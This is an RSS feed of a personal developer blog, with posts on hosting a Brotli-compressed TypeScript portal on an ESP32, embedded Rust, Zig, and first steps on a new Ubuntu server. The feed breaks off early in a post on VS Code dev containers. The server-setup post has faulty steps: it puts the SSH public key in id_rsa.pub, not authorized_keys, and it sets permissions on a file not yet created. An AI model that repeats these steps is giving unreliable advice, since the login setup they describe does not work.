<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Michi's Blog]]></title><description><![CDATA[Michi's Blog]]></description><link>https://blog.lohr.dev</link><generator>RSS for Node</generator><lastBuildDate>Fri, 23 Feb 2024 07:41:00 GMT</lastBuildDate><atom:link href="https://blog.lohr.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><atom:link rel="next" href="https://blog.lohr.dev/rss.xml?page=1"/><item><title><![CDATA[Embedded TypeScript: Hosting a frontend on a ESP32]]></title><description><![CDATA[<p>You might have read about how (and why!) we use Rust on embedded. If not, go check out <a target="_blank" href="https://blog.lohr.dev/embedded-rust">my previous article</a>! In this one, I will talk about how we added a frontend based on Typescript into the mix.</p><p>Some background: I work for <a target="_blank" href="https://stabl.com/?ref=ml-blog">a company building second-life storage systems</a>. To track our system, we have an embedded device, written in Rust, which pushes data to the cloud. Now, when installing a new system at the customer's site, this device needs to be configured and connected to the customer's WiFi.</p><p>We need some kind of interface to enter the configuration and write that onto the device. First, the device installer needs to connect to the device somehow. But this is easy! As presented in <a target="_blank" href="https://blog.lohr.dev/embedded-rust">the last blog post</a>, we use an ESP32, which comes with WiFi built-in. So we can just open up a hotspot and connect to it.</p><p>We can then use a command line interface, which connects over the access point to the ESP, to perform the actual configuration. However, the installation typically is done by non-programmers. Instead, we need some kind of user interface. An app sounds like a good idea! But then it has to stay compatible with multiple iterations of our embedded device (which we call "edge device") and keep supporting older versions.</p><p>Instead, we opted to develop a small website, which is served by the edge device and opens up once you log into its WiFi (similar to the captive portals that open up when connecting to some airport WiFi). This website is not just HTML, we also need some JavaScript for custom logic before sending the request to a different endpoint and to let the user know whether their request was successful.</p><p>This is one of the earlier iterations of our portal (the current state is rather boring since it only has one field):</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708361793587/ac21823b-076b-433c-a338-d04e82b81a88.png" alt class="image--center mx-auto" /></p><p>To build this, I first started up a new <a target="_blank" href="https://nextjs.org/">Next.js</a> project, which is my go-to web development framework. But react-dom alone is just way too big:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708361940760/ace0144a-3666-4b9a-9f21-8a7053a6b8fc.png" alt class="image--center mx-auto" /></p><p>Soo, back to the roots! Throw in some of that sweet <code>.html</code> and <code>.js</code> along with a pinch of <code>.css</code>, et voila - we have a website.</p><p>I wish it were as easy as that. But we have some key limitations when building a frontend for our edge device, that I didn't mention until now:</p><ol><li><p>It has to be small. Really small. Every single byte will be a byte less, which we can use to buffer messages in case of an internet outage.</p></li><li><p>We don't have a real (but a "real-time") operating system. Yes, we have a basic notion of scheduling and threads. But, there is no such thing as a file as part of a filesystem. Just bytes. So we can't just serve a bunch of files via HTTP.</p></li><li><p>Everything we write is very hardware-dependent. There is no Linux networking stack ready to be used. So if we interact with the networking stack, we directly interact with the hardware (through a small client/server abstraction) as we do with most things on embedded. So no chance of running any modern HTTP server.</p></li></ol><p>Let's first tackle the second problem of embedding the website onto the device. We have a bunch of files that make up the website. But what we need in the end, is just a chunk of bytes (remember, we don't have a filesystem).</p><p>Without a framework, we have to build the build pipeline ourselves. We use Webpack (but it's on my to-do list to check out Turbopack, which is written in Rust) to bundle all JavaScript files and all CSS files together. This also allows us to use <a target="_blank" href="https://www.typescriptlang.org/">TypeScript</a>!</p><p>TypeScript is an extension to JavaScript which adds types (duh). It makes programs safer and easier to maintain. However, we can still profit from the vast JavaScript ecosystem, because it's interoperable with it - TypeScript just transpiles to JavaScript in the end (which makes it run in browsers without web assembly). Also, since we already use Rust, one of the safest programming languages out there, we just couldn't get away with using JavaScript!</p><p>You can embed TypeScript, CSS and other resources like images into HTML, but we didn't find a neat solution to do it with Webpack (but I'm sure there is a plugin for this somewhere out there). I then found <a target="_blank" href="https://github.com/Y2Z/monolith">monolith on GitHub</a>. It's meant for archiving webpages into a single file, but it also solves exactly our use case. We run it right after Webpack and it embeds all the website's resources base64-encoded into one single HTML file, which we then embed into our code.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708363001432/9afb86b4-73a1-4a64-9125-8a065b7323b5.png" alt class="image--center mx-auto" /></p><p>Challenge solved! Next up: Making it small. We already use a quite minimal CSS library called <a target="_blank" href="http://getskeleton.com/">Skeleton</a>. Webpack has a minification step and monolith embeds resources in base64. That makes it small, but not small enough.</p><p>Luckily browsers nowadays support compression. Meaning, we can send the client our compressed HTML file, and as long as we include information about the compression in the response headers, the client will decompress it first. We managed to reduce the size of the website by 65% by using the <a target="_blank" href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> compression algorithm! Great! Our new pipeline now looks like this: Run the bundler (Webpack), run monolith to get one file and then compress it using Brotli.</p><p>So are we done? Not quite! There is another requirement I didn't tell you about: On the website, we need to be able to display if the device is already configured. We also want to show the current version, state and some other stuff. We could just make a request from our frontend back to the backend and ask for that information. But this would require a second API endpoint which builds some JSON response with all that data. This would increase our code complexity, and we would have to handle a bunch of new error cases (remember, everything is way harder on embedded). Also, it's a bit weird: We just sent the whole website with all its resources, why can't we send this data along with it? Because the body was compressed and inserted during compile time!</p><p>So, what are our options besides that nasty second request? We cannot look for some byte markers and modify the bytes directly since it's already compressed - and it would be horrible to maintain. In our HTTP response, the body is compressed, but remember what such a response looks like:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708463911585/ada04021-7864-48e0-80fb-ea9f229bd25b.png" alt class="image--center mx-auto" /></p><p>We still have the headers we can use to pass information to the clients. Headers are not compressed and allow us to send arbitrary key-value pairs to the client. However, you cannot access them from the body (HTML/JavaScript) to actually display them (probably due to some security concerns)! Or can you?!</p><p>Let me present to you: The <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Server-Timing">server-timing header</a>! This header allows the server to pass some performance metrics to the client - which can read its values through the browser's JavaScript API. The values can be set like this: <code>server-timing: key1;desc="value1", key2;desc="value2"</code>. We can then simply use <code>window.performance.getEntriesByType('navigation')</code> to read those values. Easy!</p><p>Buuut, Safari does not support this yet. So as neat as this sounds - we can't use it. However, there is yet another header type we can (ab)use in a similar way. Cookies! Cookies are meant to store information about the user across browser sessions. They are set by headers and can be read out with JavaScript (or TypeScript in our case). However, they behave a bit differently than the server-timing header, because they are persistent. So in order to use them, we set a really low expiry date and delete them right after reading them.</p><p>And with that, we have a neat little frontend which we can use to configure our systems. If you haven't yet read the first part of this article, <a target="_blank" href="https://blog.lohr.dev/embedded-rust">go over here</a> to learn more about why we chose Rust in the first place.</p>]]></description><link>https://blog.lohr.dev/embedded-typescript-hosting-a-frontend-on-a-esp32</link><guid isPermaLink="true">https://blog.lohr.dev/embedded-typescript-hosting-a-frontend-on-a-esp32</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Thu, 22 Feb 2024 13:00:36 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1708360744234/a5c0c911-1e2b-4b18-9f72-3ac5708571a1.webp</cover_image></item><item><title><![CDATA[Embedded Rust in Production ..?]]></title><description><![CDATA[<p>When I mention that we use Rust on the embedded ESP32 platform the most common reaction is a jaw-dropping "This is possible?!". Yes, it is indeed possible! - And we at STABL Energy have used it successfully for over a year now. And because so many people seem interested in why we use Rust and how it is going for us, I decided to write this blog post.</p><blockquote><p>"Thanks to its direct access to both hardware and memory, Rust is well suited for embedded systems and bare-metal development." - <a target="_blank" href="https://github.blog/2023-08-30-why-rust-is-the-most-admired-language-among-developers/">GitHub</a></p></blockquote><p>It all started in 2022, with me getting annoyed by our C implementation of a small piece of software running on an ESP32 (a microcontroller with built-in internet connectivity). The purpose of the software was to read messages via UART (serial interface/protocol, often used to communicate between embedded devices) and send them to some cloud services via MQTT (messaging protocol, often used to communicate between IoT devices). Seems simple enough, right? Well, we had some additional requirements in terms of reliability, regarding the layout of the resulting JSON MQTT messages and concerning the content of the UART messages which is rather difficult to parse.</p><p>To give you some more context: I work for a startup named <a target="_blank" href="https://stabl.com/?ref=ml-blog">STABL Energy</a> where we build revolutionary energy storage systems, that are based on second-life batteries (batteries that were used in electric cars before). Instead of recycling them just now, we can use those perfectly fine batteries to (for example) back large PV farms and prolong their lives just a little bit more. The device I was talking about before is used to connect our battery storage systems to the cloud for monitoring and remote control. We also use it during development, to test new features in our system - so it really needs to be reliable, because we don't want to lose any data.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706812711815/53a4d26a-2e21-486c-b052-245e017cd584.png" alt class="image--center mx-auto" /></p><p>Our C implementation was a small (very prototype) software running on the <a target="_blank" href="https://www.espressif.com/en/products/socs/esp32">ESP32</a> platform. It had some serious runtime issues, preventing it from working reliably, that were hard to debug. And debugging on embedded is a lot more complicated than debugging software targeting desktop architectures. I have much respect for C (and even more for people programming in C), but I think its era is coming to an end. As I wrote in <a target="_blank" href="https://blog.lohr.dev/after-a-day-of-programming-in-zig">a previous blog post</a>, Zig could be a quite good modern replacement in the future. But Zig is rather new and at the time we worked with the C implementation, I didn't even know that Zig existed. However, I did a lot with Rust in personal projects at that time. The developer experience in Rust is just on the next level and the software you write is reliable without giving reliability, memory allocation etc. too much thought in the first place.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706813402492/571c6001-33b8-4c77-a2d8-ec6cc95bd21c.webp" alt class="image--center mx-auto" /></p><p>At STABL Energy, we didn't use any Rust before. We mainly used C for embedded and Python for anything else. But since I got to lead this project and had a great time with Rust, we ended up writing a prototype using <a target="_blank" href="https://esp-rs.github.io/book/overview/using-the-standard-library.html">ESP IDF</a>, which even allowed us to use the Rust standard library. Long story short: Our Rust prototype ended up much more reliable than the C implementation. We spent a little bit more time writing the software (Rust takes longer to write than C) to achieve the same functionality but spent basically zero time debugging (since there weren't that many bugs) - so we stuck with it. At that time the Rust support from Espressif (the company behind the ESP32) was rather new and experimental (and it still is), but it kept improving and we noticed quite the investment from Espressif in terms of work spent working on Rust support for their platform.</p><p>Fast forward to 2024: We now used the ESP32 with our custom software written in Rust for over a year in production, with great success. The devices transmit data 24/7 and we have no known bugs (I don't even remember the last bug we had). There is just one problem: Who maintains and further develops this project? While there are some pretty passionate Rust developers (&amp; consultancies) out there (even in Germany) and even more that would be willing to learn Rust, it is not viable to hire one sole Rust developer for this (small) project. Since Rust, and especially embedded Rust (lots of FFI &amp; unsafe), is quite hard to learn, it is not viable (for us) to retrain a C developer to Rust. Luckily we <a target="_blank" href="https://github.com/Shemnei/">found a Rust developer</a> who was willing to learn C as well.</p><p>So what's the state of embedded Rust outside of our small project? Dion, from Tweedegolf, recently published <a target="_blank" href="https://tweedegolf.nl/en/blog/101/are-we-embedded-yet">a great article</a> about the current state: He says that what works and does not work heavily depends on the specific use case and willingness to build the missing pieces yourself or rely on open-source software. There are still some rough edges, as visualised in his infographic, but overall Rust is a viable programming language choice for embedded projects.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706813382842/c04013ce-7a07-4e46-9bec-71c8d45b3ad7.png" alt="The state of embedded Rust by https://tweedegolf.nl/en/blog/101/are-we-embedded-yet" class="image--center mx-auto" /></p><p>If, in the future, I were faced with a choice between C and Rust for embedded development again, I would most likely choose Rust because of how successfully we used it in the past. Let me know if you heard about some similar projects - I am always excited to hear about embedded Rust!</p>]]></description><link>https://blog.lohr.dev/embedded-rust</link><guid isPermaLink="true">https://blog.lohr.dev/embedded-rust</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sun, 04 Feb 2024 14:00:46 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1706803912257/7eb43c5c-fb64-402c-b6a2-6674c3ae8ef4.png</cover_image></item><item><title><![CDATA[After a day of programming in Zig]]></title><description><![CDATA[<p>I am a big fan of Rust since it provides great tooling and allows me to write code with lots of confidence that it will work reliably. But sometimes I hate it, too. It takes more time to write code in Rust and some things are pretty difficult to properly implement (looking at you <code>async</code>).</p><p>In the last year, I heard a couple of times about a new low-level programming language called Zig. And now I finally found the time to try it out. In this article, I want to talk about the things I liked and disliked about Zig from the perspective of a Rust developer (and the high standards they are used to 🦀👑).</p><h1 id="heading-so-what-is-zig">So what is Zig?</h1><p><a target="_blank" href="https://ziglang.org/">Zig</a> describes itself as "... a general-purpose programming language and toolchain for maintaining <strong>robust</strong>, <strong>optimal</strong> and <strong>reusable</strong> software.". Sounds very generic, eh?</p><p>The "unique selling points" are:</p><ul><li><p>No hidden control flow; you control everything</p></li><li><p>No hidden memory allocation; they are all explicit and allow to use different allocation strategies</p></li><li><p>No preprocessor, no macros; directly write compile time code in Zig instead</p></li><li><p>Great interoperability with C/C++; supports cross-compilation; can be used as a drop-in replacement for C.</p></li></ul><p>Zig is a bit similar to Rust since both focus on performance and safety. They don't use garbage collection, use LLVM as the compiler backend, and provide code testing capabilities. Both use a modern syntax and offer programming features like error handling and options.</p><pre><code class="lang-rust"><span class="hljs-keyword">const</span> std = @import(<span class="hljs-string">"std"</span>);<span class="hljs-comment">/// Removes the specified prefix from the given string if it starts with it.</span><span class="hljs-keyword">pub</span> <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">removePrefix</span></span>(input: []<span class="hljs-keyword">const</span> <span class="hljs-built_in">u8</span>, prefix: []<span class="hljs-keyword">const</span> <span class="hljs-built_in">u8</span>) []<span class="hljs-keyword">const</span> <span class="hljs-built_in">u8</span> {    <span class="hljs-keyword">if</span> (std.mem.startsWith(<span class="hljs-built_in">u8</span>, input, prefix)) {        <span class="hljs-keyword">return</span> input[prefix.len..];    }    <span class="hljs-keyword">return</span> input;}</code></pre><p>Even though it simplifies a lot, I like to say that Zig is to C what Rust to C++ is. Others say, that Zig is the modern successor of C. As a rule of thumb, it probably makes sense to use Zig in projects where you would have used C before.</p><h1 id="heading-is-it-good">Is it good?</h1><p>I usually learn new programming languages by simply writing some simple programs from start to finish. In this case, my goal was to write a <a target="_blank" href="https://en.wikipedia.org/wiki/Telnet">telnet</a> client (an old network protocol for remote access to terminals). This was quite a journey since telnet is a lot more complex than it seems. But this deserves an article on its own.</p><p>It actually took me more than one day to implement this project, but after a full day of working on it, I had the feeling that I understood the basics of Zig. You can find the source code here: <a target="_blank" href="https://github.com/michidk/telnet-zig/">https://github.com/michidk/telnet-zig/</a></p><h2 id="heading-what-i-dislike-about-zig">What I dislike about Zig</h2><p>The barrier of liking Zig is not too high, since I really dislike programming in C. So let's first discuss the things I disliked:</p><p>The Zig community and ecosystem are rather small, and not many libraries are available. Those that are available are also not very fleshed out yet. This is very different for Rust, where you can find at least one very popular and well-implemented crate for each problem which you might want to outsource to a library.</p><p>Zig comes with a standard library that is similarly minimalistic like the Rust standard library. It is yet rather small but carefully designed. The documentation is not very good and many methods are undocumented.</p><p>Undocumented code from <code>std.io.Writer</code> (<a target="_blank" href="https://ziglang.org/documentation/master/std/#A;std:io.Writer">https://ziglang.org/documentation/master/std/#A;std:io.Writer</a>):</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703859930628/3f3d6a92-c538-4fe6-8a7b-f4428cccd30c.png" alt class="image--center mx-auto" /></p><p>There is no proper pattern matching in Zig. However, <code>switch</code> statements are quite powerful and when nesting them it is possible to achieve something similar, like one can do with Rust's <code>match</code> statement.</p><p>In Rust, traits (or interfaces in other languages) allow for polymorphism - the ability to write code that can operate on objects of different types. This is a powerful feature for designing flexible and reusable software components. Zig, however, lacks this feature. It relies on other mechanisms like function pointers or comptime polymorphism, which can be less intuitive and more cumbersome for scenarios typically handled by interfaces or traits.</p><p>But to be honest, I wouldn't have expected otherwise, since Zig is rather young and only recently gained in popularity.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703860149164/a7ccaa1e-0799-49eb-8365-79b89e908679.png" alt class="image--center mx-auto" /></p><h2 id="heading-why-i-love-zig">Why I love Zig</h2><h3 id="heading-tooling-build-system-amp-tests">Tooling, Build System &amp; Tests</h3><p>Even though the language is rather young, the tooling is great! However is not as advanced as the Rust tooling with <code>cargo</code> and <code>clippy</code> (yet). Only the most recent version <code>v0.11</code> delivered us an official package manager, called <a target="_blank" href="https://zig.news/edyu/zig-package-manager-wtf-is-zon-558e">Zon</a>. It can be used together with the <code>build.zig</code> file (which is similar to a <code>build.rs</code> in Rust) to load libraries from GitHub into our project without much hassle (I don't even want to know how much valuable lifetime <code>cmake</code> and <code>make</code> have cost me in the past).</p><pre><code class="lang-bash">$ zig build-exe hello.zig$ ./helloHello, world!</code></pre><p>Similarly to Rust, Zig comes with robust testing capabilities built into the language. Tests in Zig are written in special functions, allowing them to reside alongside the code they are validating. Unique to Zig is the ability to leverage its compile-time evaluation features in tests. Additionally, Zig's support for cross-compilation in testing is particularly noteworthy, enabling developers to effortlessly test their code across various target architectures. <a target="_blank" href="https://mtlynch.io/notes/zig-unit-test-c/">Some people</a> even use Zig to test their C code!</p><pre><code class="lang-rust"><span class="hljs-keyword">const</span> std = @import(<span class="hljs-string">"std"</span>);<span class="hljs-keyword">const</span> parseInt = std.fmt.parseInt;<span class="hljs-comment">// Unit testing</span>test <span class="hljs-string">"parse integers"</span> {    <span class="hljs-keyword">const</span> ally = std.testing.allocator;    var list = std.ArrayList(<span class="hljs-built_in">u32</span>).init(ally);    defer list.deinit();...</code></pre><h3 id="heading-the-language">The Language</h3><p>The language itself is well-designed and the syntax is quite similar to Rust. Both have a type system that emphasizes strong, static typing, though the way they handle types and type inference differs.</p><h3 id="heading-error-handling-and-optionals">Error Handling and Optionals</h3><p>Zig and Rust both promote explicit error handling, however their mechanisms are different. Rust uses <code>Result</code> enums, while Zig uses a (global) error set type (though similar to an enum) and error propagation. Similarly, Rust uses the <code>Option</code> enum for optional types, while Zig uses a type modifier (<code>?T</code>). Both offer modern, syntactic sugar to handle those (<code>call()?</code> and <code>if let Some(value) = optional {}</code> in Rust, <code>try call()</code> and <code>if (optional) |value| {}</code> in Zig). Since Rust uses the standard library to implement error handling and options, users have the possibility to extend those systems which is quite powerful. However, I like the approach Zig takes in providing those things as language features. While their approach fits well into the C universe, I dislike that there is no pragmatic way to add more context to an error (but well, no allocations). Libraries like <a target="_blank" href="https://github.com/Hejsil/zig-clap">clap</a> solve this by implementing a diagnostics mechanism.</p><pre><code class="lang-rust"><span class="hljs-comment">// Hello World in Zig</span><span class="hljs-keyword">const</span> std = @import(<span class="hljs-string">"std"</span>);<span class="hljs-keyword">pub</span> <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">main</span></span>() anyerror!void {    <span class="hljs-keyword">const</span> stdout = std.io.getStdOut().writer();    <span class="hljs-keyword">try</span> stdout.print(<span class="hljs-string">"Hello, {s}!\n"</span>, .{<span class="hljs-string">"world"</span>});}</code></pre><h3 id="heading-c-interop">C Interop</h3><p>The C interoperability in Zig is world-class. You don't need to write bindings, with Zig you can just use the <code>@cImport</code> and <code>@cInclude</code> built-in functions (which parses C header files) to directly use C code.</p><h3 id="heading-comptime">Comptime</h3><p>Zig allows us to write Zig code (no special macro syntax like in Rust), which is evaluated during compile time using the <code>comptime</code> keyword. This can help to optimize the code and allows for reflection on types. However, dynamic memory allocations are not allowed during compile time.</p><h3 id="heading-types">Types</h3><p>Like in Rust, Zig types are zero-cost abstractions. There are Primitive Types, Arrays, Pointers, Structs (similar to C structs, but can include methods), Enums and Unions. Custom types are implemented through structs and generics are implemented by generating parameterized structs during compile time.</p><pre><code class="lang-rust"><span class="hljs-comment">// std.io.Writer is a compile-time function which returns a (generic) struct</span><span class="hljs-keyword">pub</span> <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">Writer</span></span>(    comptime Context: <span class="hljs-class"><span class="hljs-keyword">type</span>,    <span class="hljs-title">comptime</span></span> WriteError: <span class="hljs-class"><span class="hljs-keyword">type</span>,    <span class="hljs-title">comptime</span></span> writeFn: <span class="hljs-function"><span class="hljs-keyword">fn</span> </span>(context: Context, bytes: []<span class="hljs-keyword">const</span> <span class="hljs-built_in">u8</span>) WriteError!<span class="hljs-built_in">usize</span>,) <span class="hljs-class"><span class="hljs-keyword">type</span> {    <span class="hljs-title">return</span></span> <span class="hljs-class"><span class="hljs-keyword">struct</span> {</span>        context: Context,        <span class="hljs-keyword">const</span> <span class="hljs-keyword">Self</span> = @This();        <span class="hljs-keyword">pub</span> <span class="hljs-keyword">const</span> Error = WriteError;        <span class="hljs-keyword">pub</span> <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">write</span></span>(<span class="hljs-keyword">self</span>: <span class="hljs-keyword">Self</span>, bytes: []<span class="hljs-keyword">const</span> <span class="hljs-built_in">u8</span>) Error!<span class="hljs-built_in">usize</span> {            <span class="hljs-keyword">return</span> writeFn(<span class="hljs-keyword">self</span>.context, bytes);        }...</code></pre><h3 id="heading-memory-allocation">Memory Allocation</h3><p>Unlike Rust, which employs an automatic borrow-checker to manage memory, Zig opts for manual memory management. This design decision aligns with Zig's philosophy of giving the programmer full control, reducing hidden behaviors and overhead.</p><p>At the core of Zig's memory management strategy is the <code>Allocator</code> interface. This interface allows developers to dictate precisely how memory is allocated and deallocated. Developers can choose from <a target="_blank" href="https://ziglang.org/documentation/0.5.0/#Choosing-an-Allocator">several allocators</a> or implement custom ones tailored to specific needs or optimization goals.</p><p>This is great but can be a bit annoying in practice. The allocator is typically created at the beginning of the application code and assigned to a variable. Methods which want to allocate memory, require the allocator as a parameter in their function signature. This makes allocations very visible but also can get a bit annoying because it has to be passed around through multiple functions throughout the whole application (at least to the parts where you allocated memory).</p><h3 id="heading-cross-compilation">Cross Compilation</h3><p>Zig, like Rust, has native support for cross-compilation. Its integrated toolchain simplifies compiling for different architectures or operating systems. Setting the target architecture in Zig is as straightforward as passing an argument in the build command:</p><pre><code class="lang-bash"><span class="hljs-comment"># Build for Windows on Linux</span>zig build -Dtarget=x86_64-windows-gnu</code></pre><p>In contrast, Rust requires the installation of the target platform's toolchain through <code>rustup</code> and often necessitates manual linker configuration for the target platform.</p><h1 id="heading-conclusion">Conclusion</h1><p>I find Zig to be a well-designed, fun, and powerful language. It can be challenging to use because of the small ecosystem and the lack of documentation, which most likely will improve soon with increasing popularity. Zig provides modern syntax, a great type system, complete control over memory allocations and state-of-the-art language features.</p><p>Overall, I enjoyed programming in Zig and I think it has a lot of potential to become a popular choice for low-level development. Personally, I think Zig could be a real game changer for embedded systems (in a few years) and I am quite excited to see what the future holds for Zig.</p><p>I encourage you to give Zig a try.</p>]]></description><link>https://blog.lohr.dev/after-a-day-of-programming-in-zig</link><guid isPermaLink="true">https://blog.lohr.dev/after-a-day-of-programming-in-zig</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Fri, 29 Dec 2023 16:15:10 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1703857934965/ce29eda3-ad17-424d-83c4-2565b2e0e8cd.png</cover_image></item><item><title><![CDATA[The first 5 minutes on a Linux Server]]></title><description><![CDATA[<p>When deploying a new Linux server, I always perform the same steps to introduce a basic level of security. In this article, I present those steps I take (and you probably should take them too) on a new server installation. Even though those steps probably apply to most Linux distributions, I mainly use Ubuntu for my servers nowadays. So before listing the specific steps, I quickly explain why I mostly use a minimal Ubuntu image.</p><h2 id="heading-why-ubuntu">Why Ubuntu?</h2><p>Ubuntu has rapidly become one of the most popular choices for server environments. This preference stems from Ubuntu's stability, ease of use, and robust support.</p><ol><li><p><strong>Long-Term Support (LTS) Releases:</strong> Ubuntu's Long-Term Support versions, released every two years, are a cornerstone of its reliability. These LTS releases are supported with updates for five years, ensuring stability and security without the need for frequent major upgrades. This long-term support is crucial for servers, where uptime and stability are paramount.</p></li><li><p><strong>Widespread Community:</strong> With its growing popularity, Ubuntu has amassed a large and active community. This community provides extensive resources, forums, and documentation, aiding in troubleshooting and knowledge sharing.</p></li><li><p><strong>User-Friendly Yet Powerful:</strong> Ubuntu strikes a balance between user-friendliness and advanced capabilities. Its package management system (APT) and extensive repositories make software installation and management a breeze. Ubuntu also maintains compatibility with a wide range of hardware, ensuring flexibility in server deployment.</p></li><li><p><strong>Robust Security Features:</strong> Ubuntu is known for its strong security measures. Features like AppArmor, a mandatory access control framework, and regular security updates provide robust protection against vulnerabilities. The inclusion of fail2ban and unattended upgrades in server setups further fortifies its security posture.</p></li></ol><h2 id="heading-initial-software-installation">Initial Software Installation</h2><p>Upon logging into your fresh Ubuntu server, the first step is to elevate to superuser status with <code>sudo -i</code>, providing full administrative rights. This is necessary for installing and configuring various essential packages.</p><pre><code class="lang-bash">apt update &amp;&amp; apt upgrade -yapt install -y fail2ban htop git curl wget gnupg lsb-release unattended-upgrades apt-transport-https ca-certificates locales nano vim</code></pre><h3 id="heading-why-these-packages">Why These Packages?</h3><ul><li><p><code>fail2ban</code>: Protects against brute-force attacks.</p></li><li><p><code>htop</code>: Offers an interactive process viewer (better than <code>top</code>).</p></li><li><p><code>git</code><strong>,</strong> <code>curl</code><strong>,</strong> <code>wget</code><strong>,</strong> <code>gnupg</code>: Essential tools for downloading and verifying files.</p></li><li><p><code>lsb-release</code><strong>,</strong> <code>apt-transport-https</code><strong>,</strong> <code>ca-certificates</code>: Tools required for secure software installation.</p></li><li><p><code>locales</code>: Supports system language preferences.</p></li><li><p><code>nano</code><strong>,</strong> <code>vim</code>: Provides text editors for configuration.</p></li></ul><p>Most other basic software like <code>cat</code> is preinstalled on Ubuntu (sometimes <code>curl</code> &amp; <code>wget</code> are as well, but that depends on the image you used).</p><h2 id="heading-initial-configuration">Initial Configuration</h2><p>Configuring the locale is vital for consistency in language and character encoding across the system. It ensures that your server interacts correctly with software and services.</p><pre><code class="lang-bash">locale-gen --purge en_US.UTF-8<span class="hljs-built_in">echo</span> -e <span class="hljs-string">'LANG="en_US.UTF-8"\nLANGUAGE="en_US:en"\n'</span> &gt; /etc/default/locale</code></pre><h3 id="heading-hostname-and-hosts-file">Hostname and Hosts File</h3><p>Setting a descriptive hostname improves the manageability of your server, especially in a network of multiple machines.</p><pre><code class="lang-bash">sh -c <span class="hljs-string">'echo "127.0.1.1          &lt;domain&gt; &lt;alias&gt;&lt;YOUR IP&gt;          &lt;domain&gt; &lt;alias&gt;" &gt;&gt; /etc/hosts'</span>sudo hostnamectl set-hostname &lt;domain&gt;sudo hostnamectl set-hostname <span class="hljs-string">"&lt;alias&gt;"</span> --pretty</code></pre><p>For <code>&lt;domain&gt;</code> I would use something like <em>node1.example.com</em> and for <code>&lt;alias&gt;</code> <em>node1</em>.</p><h3 id="heading-secure-log-in">Secure Log In</h3><p>Creating a non-root user with sudo privileges enhances security by limiting root access.</p><pre><code class="lang-bash">useradd &lt;username&gt;usermod -aG sudo &lt;username&gt;</code></pre><p>Set up SSH keys for secure, password-less login. Setup the <code>.ssh/</code> folder and upload your public key.</p><pre><code class="lang-bash">mkdir -p /home/&lt;username&gt;/.sshchmod 700 /home/&lt;username&gt;/.sshchmod 400 /home/&lt;username&gt;/.ssh/authorized_keyschown &lt;username&gt;:&lt;username&gt; /home/&lt;username&gt; -R<span class="hljs-comment"># then put your public ssh key into /home/&lt;username&gt;/.ssh/id_rsa.pub</span></code></pre><p>Modifying the SSH configuration to disable root login and password authentication significantly reduces the server's vulnerability to unauthorized access.</p><pre><code class="lang-bash">PermitRootLogin noPasswordAuthentication noservice ssh restart</code></pre><h3 id="heading-automatic-security-updates">Automatic Security Updates</h3><p>Configuring unattended upgrades ensures that your server stays up to date with the latest security patches, reducing the risk of vulnerabilities.</p><pre><code class="lang-bash">APT::Periodic::Update-Package-Lists <span class="hljs-string">"1"</span>;APT::Periodic::Unattended-Upgrade <span class="hljs-string">"1"</span>;APT::Periodic::Download-Upgradeable-Packages <span class="hljs-string">"1"</span>;APT::Periodic::AutocleanInterval <span class="hljs-string">"7"</span>;</code></pre><p>Limiting automatic upgrades to security updates prevents unexpected changes in system behavior due to non-critical updates.</p><pre><code class="lang-bash">Unattended-Upgrade::Allowed-Origins {        <span class="hljs-string">"Ubuntu lucid-security"</span>;};</code></pre><h2 id="heading-a-solid-start">A Solid Start</h2><p>The steps outlined provide a basic foundation for any Ubuntu server. There is a LOT more you can and should do to make your server more secure. But those are the absolute basics I always do before anything else!</p>]]></description><link>https://blog.lohr.dev/the-first-5-minutes-on-linux</link><guid isPermaLink="true">https://blog.lohr.dev/the-first-5-minutes-on-linux</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Mon, 11 Dec 2023 23:00:00 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1703801132159/e567ba48-8a0b-49a9-9d1e-53366adfe6f9.png</cover_image></item><item><title><![CDATA[Reverse engineering Microsoft's dev container CLI]]></title><description><![CDATA[<blockquote><p>Dev containers allow you to open up projects and have them running in a fully pre-configured environment with one click!</p></blockquote><p>... is how I introduced the concept of <a target="_blank" href="https://containers.dev/">dev containers</a> in <a target="_blank" href="https://blog.lohr.dev/dev-containers">my last article</a>.</p><p>I also mentioned that I have been working on a <a target="_blank" href="https://github.com/michidk/vscli">small utility named vscli,</a> which enables you to launch Visual Studio Code (vscode) from the command line (CLI) or a terminal user interface (TUI) like this:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707646262050/32fbc607-d3cf-4b39-891f-98dfa8c37435.png" alt class="image--center mx-auto" /></p><p>Now this does not look very complicated, right? The cool thing is (and actually the main problem I want to solve with this tool), that it can also open devcontainers. So if it detects that the folder you are trying to open, with e.g. <code>vscli dev/myproject</code>, contains a dev container configuration file, it will open it in a vscode dev container instead.</p><p>Now, you might think it is as easy as calling a command like <code>code dev/myproject --devcontainer</code> 